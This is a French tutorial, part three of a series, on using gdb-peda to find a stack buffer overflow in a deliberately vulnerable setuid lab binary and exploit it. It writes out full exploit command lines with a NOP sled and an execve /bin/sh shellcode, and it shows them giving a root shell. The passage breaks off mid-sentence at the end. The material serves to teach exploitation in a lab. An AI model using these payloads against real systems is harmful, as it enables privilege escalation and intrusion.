Buffer Overflow & gdb – Part 3
|Comme promis, dans cette troisième partie on va attaquer les choses sérieuses. Je vous donnerai quelques petits Tips pour faire la même chose que ce qu’on a déjà fait dans la seconde partie mais en carrément mieux. On verra également quelques commandes supplémentaires très utiles lorsque l’on débogue des programmes un peu plus complexes que ce bon vieux binaire bfpoc… Bref on aura pas le temps de lambiner croyez-moi !
Avant de lire la suite de ce cours, il est fortement conseillé de vous être familiarisé avec la cheat-sheet ci-dessous et d’avoir lu attentivement les deux premières parties :
Note #1 : Tous les liens placés sur des mots clés redirigent vers des pages pertinentes, souvent Wikipedia. Je vous invite à les suivre, ce ne sont pas des liens commerciaux !
Note #2 : Les adresses mémoire seront certainement différentes entre chez vous et chez moi, il faudra donc adapter ce que je présente à votre environnement à vous. Ça peut sembler un peu obvious, mais je n’ai pas rédigé cette série d’articles en un seul coup ! Ne vous formalisez pas si entre les différentes parties de ce cours certaines adresses changent… C’est “normal”. Ces variations sont inhérentes aux reboots, changement de sessions, etc…
Pas brillant mais pattern non plus
Souvenez-vous, lorsque l’on a mis en évidence le buffer overflow dans la fonction funcMyLife(), on y est allé un peu à tâtons, multipliant les essais pour trouver la bonne longueur avant l’écrasement de cette fameuse return address… C’était excusable parce qu’on était encore un peu noob, mais maintenant qu’on commence à toucher un tout petit peu, il faut gagner en performance !
Le secret réside dans l’utilisation d’un pattern, c’est-à-dire un schéma reconnaissable. Libre à vous de construire votre propre pattern selon vos préférences, mais sachez que de nombreux outils permettent de les générer. Par exemple, j’ai utilisé ce site wiremask.eu/tools/offset-pattern-generator/ afin de créer la chaîne suivante :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag.
Lorsque l’on utilise ce pattern pour causer un buffer overflow à l’intérieur d’un débogueur, il devient très, mais alors très simple d’identifier exactement quels caractères écrasent la return address… Mais voyez Pluto :
0x0ff@kali:~$ gdb bfpoc gdb-peda$ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag [...] EIP: 0x37654136 ('6Ae7') [...] Stopped reason: SIGSEGV 0x37654136 in ?? ()
Il suffit de remplacer la valeur de l’EIP au moment du crash par l’adresse voulue pour que ça roule. Nous allons de nouveau utiliser l’adresse de la fonction C getchar() qui s’écrit en little endian ainsi \xe0\x6d\xe7\xf7 :
gdb-peda$ run $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae\xe0\x6d\xe7\xf7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"') [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] Message : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae�m��Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag [5] funcMyLife() end at the next instruction (ret). f Program received signal SIGSEGV, Segmentation fault. [...]
Comme vous pouvez le voir, je suis bien rentré dans la fonction getchar() qui a interrompu l’exécution pour me permettre de saisir le caractère f avant le crash.
La commande pattern
Il est évidemment possible de réaliser tout ça directement dans gdb-peda… Générer un pattern de 200 caractères ? Pfff, facile !
gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA' [...] EIP: 0x41416d41 ('AmAA') [...] Stopped reason: SIGSEGV 0x41416d41 in ?? ()
Trouver à quel endroit la return address est écrasée c’est un peu fastidieux ? Pas de panique, gdb le fait pour vous !
gdb-peda$ pattern offset AmAA AmAA found at offset: 140
Ou alors mieux, mieux, j’vous fais tout d’un coup, et automatiquement en plus :
gdb-peda$ pattern search Registers contain pattern buffer: EIP+0 found at offset: 140 EBP+0 found at offset: 136 ECX+52 found at offset: 69 Registers point to pattern buffer: [EBX] --> offset 192 - size ~8 [ESP] --> offset 144 - size ~56 Pattern buffer found at: 0xf7fd7034 : offset 42 - size 158 (mapped) 0xffffd240 : offset 0 - size 200 ($sp + -0x90 [-36 dwords]) 0xffffd523 : offset 0 - size 200 ($sp + 0x253 [148 dwords]) References to pattern buffer found at: 0xffffd234 : 0xffffd240 ($sp + -0x9c [-39 dwords]) 0xf7e52a17 : 0xffffd523 (/lib32/libc-2.19.so) 0xffffd398 : 0xffffd523 ($sp + 0xc8 [50 dwords])
Une fois ces informations récupérées, il ne reste plus qu’à construire notre exploit comme nous l’avons déjà vu :
gdb-peda$ run $(python -c 'print "a"*140+"\xe0\x6d\xe7\xf7"')
pdisass
La commande gdb disass, ou sa version améliorée par peda pdisass permet d’afficher une fonction désassemblée, c’est-à-dire la traduction assembleur de la fonction C spécifiée :
gdb-peda$ pdisass funcMyLife Dump of assembler code for function funcMyLife: 0x08048514 <+0>: push ebp 0x08048515 <+1>: mov ebp,esp 0x08048517 <+3>: sub esp,0x88 0x0804851d <+9>: sub esp,0xc 0x08048520 <+12>: push 0x8048695 0x08048525 <+17>: call 0x8048350 <puts@plt> 0x0804852a <+22>: add esp,0x10 0x0804852d <+25>: sub esp,0xc 0x08048530 <+28>: push 0x80486b4 0x08048535 <+33>: call 0x8048350 <puts@plt> 0x0804853a <+38>: add esp,0x10 0x0804853d <+41>: sub esp,0xc 0x08048540 <+44>: push 0x80486d8 0x08048545 <+49>: call 0x8048350 <puts@plt> 0x0804854a <+54>: add esp,0x10 0x0804854d <+57>: sub esp,0x8 0x08048550 <+60>: push DWORD PTR [ebp+0x8] 0x08048553 <+63>: lea eax,[ebp-0x88] 0x08048559 <+69>: push eax 0x0804855a <+70>: call 0x8048340 <strcpy@plt> 0x0804855f <+75>: add esp,0x10 0x08048562 <+78>: sub esp,0x8 0x08048565 <+81>: lea eax,[ebp-0x88] 0x0804856b <+87>: push eax 0x0804856c <+88>: push 0x8048701 0x08048571 <+93>: call 0x8048330 <printf@plt> 0x08048576 <+98>: add esp,0x10 0x08048579 <+101>: sub esp,0xc 0x0804857c <+104>: push 0x8048714 0x08048581 <+109>: call 0x8048350 <puts@plt> 0x08048586 <+114>: add esp,0x10 0x08048589 <+117>: leave 0x0804858a <+118>: ret End of assembler dump.
Cette commande est extrêmement pratique. Outre le fait de permettre d’analyser finement le comportement d’une fonction, ce qui lorsque vous ne disposez pas du fichier.c non compilé est fort utile, cette commande permet aussi de récupérer l’adresse de l’instruction ret et de l’instruction leave. Ces deux instructions sont les toutes dernières de chaque fonction. Elles sont chargées de faire le ménage dans la mémoire… L’instruction ret initie entre autres la copie de la return address contenue dans la stack vers le registre EIP.
Dans un programme complexe, c’est souvent à ce niveau que tout merde et il est donc probable que vous souhaitiez break à cet endroit pour une analyse plus poussée.
gdb-peda$ break *0x0804858a Breakpoint 1 at 0x804858a: file ./bfpoc.c, line 30.
Print Da Memory
Il est possible d’afficher la mémoire avec la commande x. Cette commande se construit ainsi :
x/[nb-bloc][format][bloc-size] [address]
- [nb-bloc] : nombre de blocs à afficher
- [format] : format d’affichage, s (string)/i (instruction machine)/x (hexadecimal)
- [bloc-size] : taille des blocs b(1byte)/h(2bytes)/w(4bytes)/g(8bytes)
- [address] : à partir d’où afficher la mémoire.
Mais voyons plutôt quelques applications concrètes… Par exemple, pour consulter les derniers 128 octets (16 x 8) de la stack avant l’exécution de strcpy(), voilà comme on procédera.
Pour rappel, le registre ESP (End Stack Pointer) ou $esp dans gdb est un pointeur sur le dernier octet de la stack.
La lecture de la représentation de la mémoire se fait de droite à gauche, mais les blocs se lisent de gauche à droite… Par contre ça se lit bien de haut en bas, c’est déjà ça… En plus, comme je suis sympathique, je vous indique le sens de lecture des premiers blocs :
gdb-peda$ break strcpy gdb-peda$ run $(python -c 'print "a"*140+"\xe0\x6d\xe7\xf7"' [...] Breakpoint 1, 0xf7e96c80 in ?? () from /lib32/libc.so.6 gdb-peda$ x/16xg $esp <------- 1 ------- <------- 2 ------- 0xffffd25c: 0xffffd2700804855f 0x08048636ffffd55b <------- 3 ------- <------- 4 ------- 0xffffd26c: 0xf7fb2ac0f7e7c06e 0xf7fb2ac00000002e 0xffffd27c: 0xf7fb2ac0f7e7b2f0 0x0000001af7fd7000 0xffffd28c: 0x00000016f7fb2000 0x00000016f7fb2ac0 0xffffd29c: 0xf7fb2ac0f7fb2000 0xf7fb3878f7fb2ac0 0xffffd2ac: 0xf7fb2ac0f7e7bbf5 0xffffd2d00000000a 0xffffd2bc: 0x00000019f7fb2000 0x00000019f7fb2000 0xffffd2cc: 0xf7fb2ac0f7e70e64 0x000000190000000a
Le registre EIP ou $eip sous gdb est un pointeur sur la prochaine instruction à exécuter. Pour voir les 10 prochaines instructions qui seront exécutées on peut faire ainsi :
gdb-peda$ x/10i $eip 0xf7e96c80: mov edx,DWORD PTR [esp+0x4] 0xf7e96c84: mov ecx,DWORD PTR [esp+0x8] 0xf7e96c88: cmp BYTE PTR [ecx],0x0 0xf7e96c8b: je 0xf7e970f0 0xf7e96c91: cmp BYTE PTR [ecx+0x1],0x0 0xf7e96c95: je 0xf7e97100 0xf7e96c9b: cmp BYTE PTR [ecx+0x2],0x0 0xf7e96c9f: je 0xf7e97110 0xf7e96ca5: cmp BYTE PTR [ecx+0x3],0x0 0xf7e96ca9: je 0xf7e97120
Lorsqu’un programme est exécuté sous Unix, les variables d’environnement sont stockées en mémoire pendant l’exécution du programme. Ainsi elles peuvent être utilisées par certaines fonctions de la libc. Pour un aperçu de celles-ci, vous pouvez utiliser cette syntaxe de la commande x :
gdb-peda$ x/10s *((char **)environ) or gdb-peda$ x/10s *environ 0xffffd5ec: "LC_PAPER=fr_FR.UTF-8" 0xffffd601: "XDG_VTNR=7" 0xffffd60c: "SSH_AGENT_PID=913" 0xffffd61e: "XDG_SESSION_ID=1" 0xffffd62f: "LC_MONETARY=fr_FR.UTF-8" 0xffffd647: "GPG_AGENT_INFO=/run/user/0/keyring/gpg:0:1" 0xffffd672: "SHELL=/bin/bash" 0xffffd682: "TERM=xterm" 0xffffd68d: "XDG_MENU_PREFIX=gnome-" 0xffffd6a4: "VTE_VERSION=3801"
Bon ça commence à avoir de la gueule vous ne trouvez pas ? Toujours imaginer qu’une caméra est juste au-dessus de votre épaule pendant que vous travaillez. Si la scène peut être intégrée sans mal dans une série policière genre NCIS c’est que vous tenez le bon bout !
record my Sextape
Vous manipulez gdb depuis un moment maintenant et vous avez certainement remarqué un petit détail frustrant. Il n’est possible de naviguer dans le programme que dans un sens, pas de retour arrière possible… Pour retourner à un breakpoint une fois passé, il faut relancer le programme… Et bien sachez que ce n’est pas vrai !
La commande record permet d’enregistrer l’état des registres et plus généralement de la mémoire et ça à chaque instruction, ce qui offre la possibilité de faire des reverse-step ou des reverse-continue.
Pour lancer un record, il faut que le programme soit en cours d’exécution. On réalise donc un break main, avant de procéder :
0x0ff@kali:~$ gdb bfpoc gdb-peda$ break main Breakpoint 1 at 0x804849c: file ./bfpoc.c, line 9. gdb-peda$ run $(python -c 'print "a"*140+"\xe0\x6d\xe7\xf7"') [...] Breakpoint 1, main (argc=0x2, argv=0xffffd3c4) at ./bfpoc.c:9 printf("[0] main() Start here.\n");
Une fois la commande record passée, il vous est possible de naviguer dans un sens…
gdb-peda$ record gdb-peda$ break strcpy Breakpoint 2 at gnu-indirect-function resolver at 0xf7e85a50 gdb-peda$ c Continuing. [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] [...] Breakpoint 2, 0xf7e96c80 in ?? () from /lib32/libc.so.6
Et dans l’autre ! La commande reverse-continue permet un retour au breakpoint précédent :
gdb-peda$ reverse-continue [...] Breakpoint 1, main (argc=0x2, argv=0xffffd3c4) at ./bfpoc.c:9 printf("[0] main() Start here.\n");
Bien entendu, il en va de même pour les step et compagnie :
gdb-peda$ step [...] 0xf7e70d20 in puts () from /lib32/libc.so.6 gdb-peda$ reverse-step [...] 0x080484a4 in main (argc=0x2, argv=0xffffd3c4) at ./bfpoc.c:9 printf("[0] main() Start here.\n");
Exploit avancé
Vu la simplicité du programme bfpoc, il n’est pas indispensable de connaitre la totalité de ces commandes pour réussir à exploiter le buffer overflow. A vrai dire nous n’avions même pas besoin de gdb, des outils plus simples nous permettaient de récupérer les deux seules informations utiles : quelle partie de notre buffer écrase la return address et l’adresse de notre variable buffer[128]… Ça sera d’ailleurs l’un des sujets abordés par la dernière partie “Bonus” de cette série d’articles. ;-)
Depuis un petit moment déjà, nous sommes donc en possession de l’offset de la return address, c’est-à-dire de la position exacte de la return address par rapport à notre buffer. Dans mon cas il s’agit d’un offset de 140 octets avant la return address :
gdb-peda$ run $(python -c 'print "a"*140+"\xe0\x6d\xe7\xf7"')
C’est dans cet espace que nous devrons inscrire une NopSled suivie d’un Shellcode, et c’est ce même espace qui devra être pointé par notre Fake Return Address.
Rappelez-vous ce que nous avions dit, dans des conditions moins évidentes et avec quelques sécurités supplémentaires il est difficile de viser juste. L’un des moyens permettant de viser un peu plus juste est l’utilisation d’une NopSled, série d’instructions NOP (0x90) qui ne font rien de particulier mais qui n’interrompent pas le programme non plus.
Nous utiliserons le Shellcode précédemment évoqué, que nous avons trouvé sur le site Shell-Storm :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Ce ShellCode fait exactement 23 Octets, il est donc possible de le faire précéder par une NopSled de 140-23=117 octets… Enfin, pas tout à fait.
En réalité il faut considérer que la mémoire bouge, particulièrement là où l’on n’est pas censé écrire. L’espace réservé pour la variable buffer fait 128 octets, les 12 octets situés entre la fin de cette zone et la return address est à considérer comme instable et non fiable. Il n’est pas obligatoire de voir des modifications se produire, mais c’est un risque inutile tant que l’on dispose d’assez de place…
De plus, lorsque l’instruction leave située avant l’instruction ret sera jouée par le processeur, la stack sera dépilée (popping) et cet espace mémoire réservé à la variable buffer jusque là ne sera plus réellement dans la stack.
Cet espace mémoire pourrait donc être légitiment écrasé par le processus en cours ou même par un autre… Enfin non, en réalité cet espace n’est pas réattribué instantanément, des mécanismes de time to leave garantissent l’intégrité de cet espace un court moment. Mais cette réflexion n’est pas mauvaise pour autant, elle s’inscrit dans une logique que vous devriez adopter, toujours bien comprendre ce qu’il se passe dans la mémoire.
Where is my umbrella ?
Comme je le dis souvent, ne me croyez pas sur parole. Premièrement parce que je pourrais vous mentir (niark !), et secondement parce que je pourrais me tromper (bien plus probable). Vérifions donc ensemble ce qu’il se passe en mémoire à la fin de funcMyLife().
user1@kali:~$ gdb bfpoc gdb-peda$ pdisass funcMyLife [...] 0x08048589 <+117>: leave 0x0804858a <+118>: ret gdb-peda$ break *0x08048589 Breakpoint 1 at 0x8048589: file ./bfpoc.c, line 30. gdb-peda$ run $(python -c 'print "a"*140+"\xe0\x6d\xe7\xf7"') [...] Breakpoint 1 at 0x8048589 gdb-peda$ x/100xg $esp 0xffffd550: 0x6161616161616161 0x6161616161616161 0xffffd560: 0x6161616161616161 0x6161616161616161 0xffffd570: 0x6161616161616161 0x6161616161616161 0xffffd580: 0x6161616161616161 0x6161616161616161 0xffffd590: 0x6161616161616161 0x6161616161616161 0xffffd5a0: 0x6161616161616161 0x6161616161616161 0xffffd5b0: 0x6161616161616161 0x6161616161616161 0xffffd5c0: 0x6161616161616161 0x6161616161616161 0xffffd5d0: 0x6161616161616161 0xf7e76de061616161 0xffffd5e0: 0xffffd6a4ffffd700 0xf7e3d39dffffd6b0 0xffffd5f0: 0xf7fb2000ffffd610 0xf7e25a6300000000 [...] 0xffffd7d0: 0x622f746f6f722f00 0x61616100636f7066 0xffffd7e0: 0x6161616161616161 0x6161616161616161 0xffffd7f0: 0x6161616161616161 0x6161616161616161 0xffffd800: 0x6161616161616161 0x6161616161616161 0xffffd810: 0x6161616161616161 0x6161616161616161 0xffffd820: 0x6161616161616161 0x6161616161616161 0xffffd830: 0x6161616161616161 0x6161616161616161 0xffffd840: 0x6161616161616161 0x6161616161616161 0xffffd850: 0x6161616161616161 0x6161616161616161 0xffffd860: 0x6161616161616161 0x434c00f7e76de061
Voilà l’état de la mémoire avant que l’instruction leave commence à faire le ménage. Comme vous pouvez le voir, notre buffer est présent deux fois :
- Dans l’espace réservé à l’argument passé à la fonction funcMyLife(const char *arg) => Adresse 0xffffd7dd
- Dans l’espace réservé à la variable buffer[128] => Adresse 0xffffd550.
Maintenant laissons exécuter l’instruction leave, et arrêtons nous sur l’instruction ret.
gdb-peda$ stepi [...] gdb-peda$ x/100xg $esp 0xffffd5e0: 0xffffd6a4ffffd700 0xf7e3d39dffffd6b0 0xffffd5f0: 0xf7fb2000ffffd610 0xf7e25a6300000000 0xffffd600: 0x0000000008048590 0xf7e25a6300000000 [...] 0xffffd7d0: 0x622f746f6f722f00 0x61616100636f7066 0xffffd7e0: 0x6161616161616161 0x6161616161616161 0xffffd7f0: 0x6161616161616161 0x6161616161616161 0xffffd800: 0x6161616161616161 0x6161616161616161 0xffffd810: 0x6161616161616161 0x6161616161616161 0xffffd820: 0x6161616161616161 0x6161616161616161 0xffffd830: 0x6161616161616161 0x6161616161616161 0xffffd840: 0x6161616161616161 0x6161616161616161 0xffffd850: 0x6161616161616161 0x6161616161616161 0xffffd860: 0x6161616161616161 0x434c00f7e76de061
Je ne vous ai donc pas menti ! La variable buffer[128] est de l’histoire ancienne… A peu près… Mais quand même, voyons voir à quoi ressemble la mémoire 160 octets plus haut :
gdb-peda$ x/20xg $esp-160 0xffffd540: 0xffffd55008048714 0xf7e7c06e08048636 0xffffd550: 0x6161616161616161 0x6161616161616161 0xffffd560: 0x6161616161616161 0x6161616161616161 0xffffd570: 0x6161616161616161 0x6161616161616161 0xffffd580: 0x6161616161616161 0x6161616161616161 0xffffd590: 0x6161616161616161 0x6161616161616161 0xffffd5a0: 0x6161616161616161 0x6161616161616161 0xffffd5b0: 0x6161616161616161 0x6161616161616161 0xffffd5c0: 0x6161616161616161 0x6161616161616161 0xffffd5d0: 0x6161616161616161 0xf7e76de061616161
Et oui, les données sont toujours là ! A priori tout devrait passer donc ? Et bien essayons…
Le gag de l’écraseur écrasé
Pour démontrer ma bonne foi, nous allons construire notre exploit de façon “naïve” comme je vous l’ai présenté dans les parties précédentes… Je vous vois venir, mais non ce n’était pas un mensonge, juste une simplification pratique. :p
NOPSled (117 octets) + Shellcode (23 octets) + Fake Return Address (4 octets).
On prendra comme Fake Return Address, une adresse qui tombe au milieu de notre NOPSled située dans la variable buffer[128]. Dans le cas présent, ce n’est pas vraiment nécessaire. En effet la mémoire ne bouge pas car nous avons désactivé toutes les protections, mais ça ne fait pas de mal de s’habituer aux bons réflexes vous ne croyez pas ?
gdb-peda$ r $(python -c 'print "\x90"*117+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x80\xd5\xff\xff"') Program received signal SIGSEGV, Segmentation fault. [...] 0xffffd5cd: push 0x6e69622f 0xffffd5d2: mov ebx,esp 0xffffd5d4: das => 0xffffd5d5: bound ebp,QWORD PTR [ecx+0x6e] 0xffffd5d8: das 0xffffd5d9: das 0xffffd5da: jae 0xffffd644 0xffffd5dc: add BYTE PTR [eax],al Stopped reason: SIGSEGV 0xffffd5d5 in ?? ()
Alors pourquoi ça a crashé ?.. Pour comprendre il faut étudier attentivement la partie “Code” de l’affichage final… Rien ne vous choque ? Souvenez-vous, le code de notre exploit devrait ressembler à ça :
xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx mov %eax,%ecx mov %eax,%edx mov $0xb,%al int $0x80 xor %eax,%eax inc %eax int $0x80
Et oui, il a un peu changé… Si l’on regarde l’état de la mémoire au niveau de notre EIP ($eip), qui grâce à notre magouille pointe quelque part dans l’espace réservé à la variable buffer[128], on se rend compte que la mémoire a été altérée (partie rouge) !
gdb-peda$ x/6xg $eip-20 0xffffd5c1: 0x6850c03190909090 0x69622f6868732f2f 0xffffd5d1: 0x2f6e69622fe3896e 0x000000000068732f 0xffffd5e1: 0xb0ffffd6a4ffffd7 0x10f7e3d39dffffd6
Vous êtes convaincus ? Bien. Maintenant bâtissons notre exploit sur des bases saines !
Exploit dans gdb
Afin d’éviter le morceau de mémoire instable, nous construirons notre exploit ainsi : NopSled (100 octets) + Shellcode (23 octets) + padding (17 octets) + Fake Return Address (4 octets).
gdb-peda$ r $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x80\xd5\xff\xff"') Starting program: /root/bfpoc $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x80\xd5\xff\xff"') [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] Message : ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀aaaaaaaaaaaaaaaaa▒▒▒▒ [5] funcMyLife() end at the next instruction (ret). process 10700 is executing new program: /bin/dash $ ls Bureau Public bfpoc.c request.txt bfpoc $ [Inferior 2 (process 10703) exited normally] Warning: not running or target is remote
Et PAF ! Pas de Chocapic mais un superbe shell !
Attention, obtenir un shell n’est pas systématique dans gdb. Il est possible d’avoir une simple indication qu’un processus fils a été lancé mais sans avoir de prompt et ce n’est pas un échec pour autant.
Exploit dans gdb #2
Mais au fait, vous vous souvenez que nous avions trouvé un autre espace mémoire dans lequel nous pouvions injecter notre exploit ? Et oui, il est aussi possible de faire pointer notre Fake Return Address vers l’espace réservé à l’argument passé à funcMyLife(const char *arg).
Une fois encore, nous allons viser à peu près le milieu de notre NOPSled, car c’est une bonne pratique :
gdb-peda$ r $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x10\xd8\xff\xff"') Starting program: /bin/dash $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x10\xd8\xff\xff"') /bin/dash: 0: Can't open ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀aaaaaaaaaaaaaaaaa▒▒▒ [Inferior 1 (process 10758) exited with code 0177] Warning: not running or target is remote
Voilà ce dont je vous parlais un peu plus tôt : pas de shell mais la confirmation qu’un “Inferior Process” a été lancé… Notre /bin/sh quoi.
Le problème c’est que, un shell dans gdb ce n’est pas très intéressant… Oui, car gdb est une sorte de wrapper, lorsque bfpoc est exécuté dans gdb, il est considéré comme un processus fils, et les droits d’exécution de ce processus fils sont hérités de ceux de gdb. En d’autres mots, pas d’élévation de privilège car le setuid est positionné sur bfpoc mais pas sur le binaire gdb… Il va donc falloir exécuter ces exploits en vrai.
Exécution en vrai de vrai
On va donc essayer nos deux exploits directement depuis notre shell, et vous allez voir que l’on passe root sans aucun problème ! Essayons pour commencer celui qui vise l’espace de l’argument de la fonction funcMyLife(const char *arg) :
user1@kali:~$ ./bfpoc $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x10\xd8\xff\xff"') [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] Message : ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀aaaaaaaaaaaaaaaaa▒▒▒ [5] funcMyLife() end at the next instruction (ret). # whoami root
C’est dans la poche ! Quid du second qui utilise l’espace de la variable buffer[128] ?
user1@kali:~$ ./bfpoc $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x80\xd5\xff\xff"') [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] Message : ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒ ̀aaaaaaaaaaaaaaaaa▒▒▒▒ [5] funcMyLife() end at the next instruction (ret). # whoami root
Sans déconner, vous trouvez pas ça hyper classe ?
Je suis pas root, WTF?!
Si vous parvenez à faire pop un shell, mais que vous n’êtes pas root pour autant, c’est probablement parce que sur votre distribution, /bin/sh a été remplacé par un lien logique vers un binaire qui drop les privilèges root à l’exécution :
user1@kali:~$ ll /bin/sh lrwxrwxrwx 1 root root 4 Dec 10 08:23 /bin/sh -> dash
Afin de faire fonctionner votre exploit il faudra : soit installé /bin/sh, soit utiliser un shellcode un peu plus réaliste et fonctionnel fixant les UID et GID effectifs et réels du programme en root avant l’exécution du shell… Voir ce code :
